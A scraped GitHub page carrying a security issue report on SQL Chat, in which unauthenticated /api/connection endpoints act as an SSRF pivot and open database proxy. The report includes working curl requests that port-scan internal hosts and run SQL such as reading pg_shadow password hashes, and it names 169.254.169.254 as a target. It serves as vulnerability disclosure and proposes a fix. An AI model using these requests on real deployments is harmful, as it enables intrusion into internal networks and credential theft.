René's URL Explorer Experiment


Title: Unauthenticated /api/connection/execute, /test, /db_schema and /db turn the SQL Chat server into an open database-connection proxy and SSRF into the deployment's internal network · Issue #189 · sqlchat/sqlchat · GitHub

Open Graph Title: Unauthenticated /api/connection/execute, /test, /db_schema and /db turn the SQL Chat server into an open database-connection proxy and SSRF into the deployment's internal network · Issue #189 · sqlchat/sqlchat

X Title: Unauthenticated /api/connection/execute, /test, /db_schema and /db turn the SQL Chat server into an open database-connection proxy and SSRF into the deployment's internal network · Issue #189 · sqlchat/sqlchat

Description: Describe the bug Summary SQL Chat's database endpoints (POST /api/connection/execute, /api/connection/test, /api/connection/db_schema, /api/connection/db) take a fully client-supplied connection object (host, port, username, password, en...

Open Graph Description: Describe the bug Summary SQL Chat's database endpoints (POST /api/connection/execute, /api/connection/test, /api/connection/db_schema, /api/connection/db) take a fully client-supplied connection ob...

X Description: Describe the bug Summary SQL Chat's database endpoints (POST /api/connection/execute, /api/connection/test, /api/connection/db_schema, /api/connection/db) take a fully client-supplied connectio...

Opengraph URL: https://github.com/sqlchat/sqlchat/issues/189

X: @github

direct link

Domain: github.com

IPv4 address: 140.82.114.3


Hey, it has json ld scripts:
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Unauthenticated /api/connection/execute, /test, /db_schema and /db turn the SQL Chat server into an open database-connection proxy and SSRF into the deployment's internal network","articleBody":"### Describe the bug\n\n### Summary\n\nSQL Chat's database endpoints (`POST /api/connection/execute`, `/api/connection/test`, `/api/connection/db_schema`, `/api/connection/db`) take a fully client-supplied `connection` object (host, port, username, password, engine) from the request body, build a database connector from it on the server, and connect to that host, executing the supplied SQL and returning the result. None of these handlers performs any authentication, and there is no global middleware gating `/api/connection/*`, and the connectors apply no host allowlist or private-IP/loopback/metadata restriction. As a result, any unauthenticated client that can reach the SQL Chat server can use it as a database-connection proxy and SSRF primitive: connect to arbitrary internal hosts and ports, port-scan the internal network, and, for any database the server can reach (e.g. an internal Postgres/MySQL/SQL Server/TiDB with trust authentication or known/weak credentials), run arbitrary SQL and read the results, exfiltrating internal data that the attacker cannot reach directly.\n\n### Details\n\n`src/pages/api/connection/execute.ts` (no auth, connection from the body, no host check):\n\n```ts\n// POST /api/connection/execute\n// req body: { connection: Connection, db: string, statement: string }\nconst handler = async (req: NextApiRequest, res: NextApiResponse) => {\n  if (req.method !== \"POST\") return res.status(405).json(false);\n\n  let connection = req.body.connection as Connection;          // attacker-controlled host/port/user/pass\n  if (connection.engineType === Engine.TiDB) connection = changeTiDBConnectionToMySQL(connection);\n  const db = req.body.db as string;\n  const statement = req.body.statement as string;\n\n  const connector = newConnector(connection);                 // builds a real DB connector to that host\n  const result = await connector.execute(db, statement);      // connects + runs the SQL server-side\n  res.status(200).json({ data: result });                     // returns rows to the caller\n};\nexport default handler;\n```\n\n`src/pages/api/connection/test.ts` is the same shape, calling `connector.testConnection()` (a clean connect/no-connect oracle for arbitrary host:port). `db_schema.ts` and `db.ts` likewise connect to the supplied host to enumerate databases/schema. There is no `getServerSession`/`getToken`/auth import in any of these handlers, the project has no `middleware.ts` gating `/api`, and the connectors under `src/lib/connectors/` contain no private-IP/loopback/allowlist check (a grep for `127.0.0.1`, `169.254`, `isPrivate`, `localhost`, `private` returns nothing). So the destination is entirely attacker-chosen and unauthenticated.\n\n### To reproduce\n\nPrerequisites: network reach to a SQL Chat instance at `http://\u003chost>:3000` (the self-hosted default, or the hosted service). No account.\n\nPort-scan / reachability oracle for an internal host (test connection):\n\n```bash\nTARGET=http://victim-sqlchat:3000\ncurl -s -X POST \"$TARGET/api/connection/test\" -H 'Content-Type: application/json' \\\n  -d '{\"connection\":{\"engineType\":\"POSTGRESQL\",\"host\":\"10.0.0.5\",\"port\":\"5432\",\"username\":\"x\",\"password\":\"x\"}}'\n# fast auth-error vs slow timeout vs connection-refused distinguishes open internal DB ports\n```\n\nRead an internal database the server can reach (full query readback), e.g. an internal Postgres with trust auth or known creds:\n\n```bash\ncurl -s -X POST \"$TARGET/api/connection/execute\" -H 'Content-Type: application/json' \\\n  -d '{\n        \"connection\":{\"engineType\":\"POSTGRESQL\",\"host\":\"internal-pg.svc\",\"port\":\"5432\",\"username\":\"postgres\",\"password\":\"postgres\"},\n        \"db\":\"app\",\n        \"statement\":\"SELECT usename, passwd FROM pg_shadow; SELECT * FROM secrets LIMIT 50;\"\n      }'\n# -> {\"data\": [...rows from the internal database...]}\n```\n\nThe SQL Chat server connects from inside its network to `internal-pg.svc:5432` and returns the rows. The same works for MySQL/TiDB/SQL Server engines, and the host may be `169.254.169.254` or any other internal address. (LIVE-VALIDATED on commit 665af87: the verbatim `newPostgresClient` + `execute` logic from `src/lib/connectors/postgres/index.ts` was run with `pg` against a stand-in \"internal\" PostgreSQL; with an attacker-supplied `connection` pointing at it, the server-side connection executed `SELECT k,v FROM secrets` and returned `[{\"k\":\"db_password\",\"v\":\"INTERNAL_PG_SECRET_9981\"}]`. The handler performs exactly `newConnector(connection).execute(db, statement)` with the client-supplied connection and no auth — confirmed there is no auth/session import in the handlers and no `middleware.ts` gating `/api`.)\n\n### Additional context\n\n### Impact\n\nAny unauthenticated attacker who can reach the SQL Chat server can use it as an SSRF pivot and database-connection proxy into the network where the server runs: enumerate internal hosts/ports, and run arbitrary SQL (read and write) against any database the server can reach, returning full results. On a self-hosted instance deployed on a corporate/cloud network this exposes internal databases and services that are not otherwise reachable by the attacker; on a multi-tenant hosted deployment it exposes the provider's internal network. Fix: require authentication on all `/api/connection/*` endpoints (and, for the hosted multi-tenant service, scope connections to the authenticated user); resolve the connection host and reject loopback, link-local (169.254.0.0/16) and RFC1918/ULA ranges (with re-check after DNS resolution) unless explicitly allowed by the operator; and consider an operator-configured host allowlist.\n","author":{"url":"https://github.com/geo-chen","@type":"Person","name":"geo-chen"},"datePublished":"2026-06-13T09:34:13Z","url":"https://github.com/sqlchat/sqlchat/issues/189"}

react-profiling0
react-import-mapreact,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322
route-pattern/_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format)
route-controllervoltron_issues_fragments
route-actionissue_layout
fetch-noncev2:1a9fabd4-664e-91eb-af01-13710e13b3e5
current-catalog-service-hash81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114
request-idC8C0:E046C:4997D7:67DDDA:6B0471AE
html-safe-nonceefe0bc6bfdcc4280064a9847e5fc140c842528665c2c7181cf816a59c3762814
visitor-payloadeyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDOEMwOkUwNDZDOjQ5OTdENzo2N0REREE6NkIwNDcxQUUiLCJ2aXNpdG9yX2lkIjoiMTIwODM3NTQ0NDA2ODY1OTYzMCIsInJlZ2lvbl9lZGdlIjoiaWFkIiwicmVnaW9uX3JlbmRlciI6ImlhZCJ9
visitor-hmac93adf97383bf4ff2b6f0f82ffe907e0ba7dedcea7ef1d36165ca61e0a3293cc5
hovercard-subject-tagissue:4655068853
github-keyboard-shortcutsrepository,issues,copilot
google-site-verificationApib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I
octolytics-urlhttps://collector.github.com/github/collect
analytics-location///voltron/issues_fragments/issue_layout
fb:app_id1401488693436528
apple-itunes-appapp-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/sqlchat/sqlchat/189/issue_layout
twitter:imagehttps://opengraph.githubassets.com/e9b50756d1a3181fec9d0c66ff9afa92394fb514bd8c8a8d1da05dc494aab449/sqlchat/sqlchat/issues/189
twitter:cardsummary_large_image
og:imagehttps://opengraph.githubassets.com/e9b50756d1a3181fec9d0c66ff9afa92394fb514bd8c8a8d1da05dc494aab449/sqlchat/sqlchat/issues/189
og:image:altDescribe the bug Summary SQL Chat's database endpoints (POST /api/connection/execute, /api/connection/test, /api/connection/db_schema, /api/connection/db) take a fully client-supplied connection ob...
og:image:width1200
og:image:height600
og:site_nameGitHub
og:typeobject
og:author:usernamegeo-chen
hostnamegithub.com
expected-hostnamegithub.com
Noneae8802492f12d3ba4f6b0d814054e617a2a5616b6327bf8555c10cd5b0dc2a6f
turbo-cache-controlno-preview
go-importgithub.com/sqlchat/sqlchat git https://github.com/sqlchat/sqlchat.git
octolytics-dimension-user_id128299021
octolytics-dimension-user_loginsqlchat
octolytics-dimension-repository_id614656648
octolytics-dimension-repository_nwosqlchat/sqlchat
octolytics-dimension-repository_publictrue
octolytics-dimension-repository_is_forkfalse
octolytics-dimension-repository_network_root_id614656648
octolytics-dimension-repository_network_root_nwosqlchat/sqlchat
turbo-body-classeslogged-out env-production page-responsive
disable-turbofalse
browser-stats-urlhttps://api.github.com/_private/browser/stats
browser-errors-urlhttps://api.github.com/_private/browser/errors
releasecfb5f24c6e01d85f70804652a5107e5cac03a161
ui-targetfull
theme-color#1e2327
color-schemelight dark
react-app-nameissues

Links:

Skip to contenthttps://github.com/sqlchat/sqlchat/issues/189#start-of-content
https://github.com/
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fsqlchat%2Fsqlchat%2Fissues%2F189
GitHubRepository hosting, code review, and collaborationhttps://github.com/platform
CopilotAI coding agent for tasks, projects, and automated workhttps://github.com/features/copilot
ActionsCI/CD and automationhttps://github.com/features/actions
Code QualityQuality analysis, fixes, and enforcementhttps://github.com/features/code-quality
CodespacesCloud development environmentshttps://github.com/features/codespaces
Code SecurityVulnerability detection and remediationhttps://github.com/security/advanced-security/code-security
Secret ProtectionSecret scanning and leak preventionhttps://github.com/security/advanced-security/secret-protection
All Featureshttps://github.com/features
Documentationhttps://docs.github.com/en
Traininghttps://learn.github.com/skills
Certificationshttps://learn.github.com/credentials
Build with Copilothttps://github.com/features/ai
Customize Copilothttps://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-copilot-overview
Integrationshttps://github.com/marketplace
Trending reposhttps://github.com/trending
GitHub Sponsorshttps://github.com/open-source/sponsors
Developer articleshttps://github.com/resources/articles
ChangelogYour source for the latest features, improvements, and fixes across GitHub products, all in one place.https://github.blog/changelog/
Enterpriseshttps://github.com/enterprise
Teamhttps://github.com/team
Startupshttps://github.com/enterprise/startups
Nonprofitshttps://github.com/solutions/industry/nonprofits
Healthcarehttps://github.com/solutions/industry/healthcare
Financial serviceshttps://github.com/solutions/industry/financial-services
Manufacturinghttps://github.com/solutions/industry/manufacturing
Governmenthttps://github.com/solutions/industry/government
See all industrieshttps://github.com/solutions/industry
Why GitHubhttps://github.com/why-github
Customer Storieshttps://github.com/customer-stories
Business insightshttps://github.com/solutions/executive-insights
Trust Centerhttps://github.com/trust-center
GitHub Advanced SecurityEnterprise-grade code securityhttps://github.com/security/advanced-security
Copilot for businessEnterprise-grade AI featureshttps://github.com/features/copilot/copilot-business
Premium SupportEnterprise-grade 24/7 supporthttps://github.com/enterprise/premium-support
Documentationhttps://docs.github.com/en
Resource centerhttps://github.com/resources
Bloghttps://github.blog/
Events & webinarshttps://github.com/resources/events
Community Forumhttps://github.com/orgs/community/discussions
Customer Storieshttps://github.com/customer-stories
Integrationshttps://github.com/marketplace
Customer supporthttps://help.github.com/
Traininghttps://learn.github.com/skills
GitHub Statushttps://www.githubstatus.com/
Abouthttps://github.com/about
Partnershttps://github.com/partners
Changeloghttps://github.blog/changelog/
GitHub UniverseThe event for developers, by developers — talks, workshops, and what’s next for GitHub.https://githubuniverse.com/
Pricinghttps://github.com/pricing
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fsqlchat%2Fsqlchat%2Fissues%2F189
Sign uphttps://github.com/signup?ref_cta=Sign+up&ref_loc=header+logged+out&ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Fvoltron%2Fissues_fragments%2Fissue_layout&source=header-repo&source_repo=sqlchat%2Fsqlchat
Reloadhttps://github.com/sqlchat/sqlchat/issues/189
Reloadhttps://github.com/sqlchat/sqlchat/issues/189
Reloadhttps://github.com/sqlchat/sqlchat/issues/189
sqlchathttps://github.com/sqlchat
sqlchathttps://github.com/sqlchat/sqlchat
Codehttps://github.com/sqlchat/sqlchat
Issues23 (23)https://github.com/sqlchat/sqlchat/issues
Pull requests2 (2)https://github.com/sqlchat/sqlchat/pulls
Actionshttps://github.com/sqlchat/sqlchat/actions
Security and qualityhttps://github.com/sqlchat/sqlchat/security
Insightshttps://github.com/sqlchat/sqlchat/insights
https://github.com/sqlchat/sqlchat
New issuehttps://github.com/login?return_to=https://github.com/sqlchat/sqlchat/issues/189
New issuehttps://github.com/login?return_to=https://github.com/sqlchat/sqlchat/issues/189
Unauthenticated /api/connection/execute, /test, /db_schema and /db turn the SQL Chat server into an open database-connection proxy and SSRF into the deployment's internal networkhttps://github.com/sqlchat/sqlchat/issues/189#top
bugSomething isn't workinghttps://github.com/sqlchat/sqlchat/issues?q=state%3Aopen%20label%3A%22bug%22
https://github.com/geo-chen
geo-chenhttps://github.com/geo-chen
on Jun 13, 2026https://github.com/sqlchat/sqlchat/issues/189#issue-4655068853
665af87https://github.com/sqlchat/sqlchat/commit/665af875413affadfeefff81794f1d7758782bc2
geo-chenhttps://github.com/geo-chen
bugSomething isn't workinghttps://github.com/sqlchat/sqlchat/issues?q=state%3Aopen%20label%3A%22bug%22
on Jun 13, 2026https://github.com/sqlchat/sqlchat/issues/189#event-26706626356
Sign up for freehttps://github.com/signup?return_to=https://github.com/sqlchat/sqlchat/issues/189
Sign in to commenthttps://github.com/login?return_to=https://github.com/sqlchat/sqlchat/issues/189
bugSomething isn't workinghttps://github.com/sqlchat/sqlchat/issues?q=state%3Aopen%20label%3A%22bug%22
https://github.com
Termshttps://docs.github.com/site-policy/github-terms/github-terms-of-service
Privacyhttps://docs.github.com/site-policy/privacy-policies/github-privacy-statement
Securityhttps://github.com/security
Statushttps://www.githubstatus.com/
Communityhttps://github.community/
Docshttps://docs.github.com/
Contacthttps://support.github.com?tags=dotcom-footer

Response headers:
Servergithub.com
Content-Typetext/html; charset=utf-8
Cache-Controlmax-age=0, private, must-revalidate

Viewport: width=device-width


URLs of crawlers that visited me.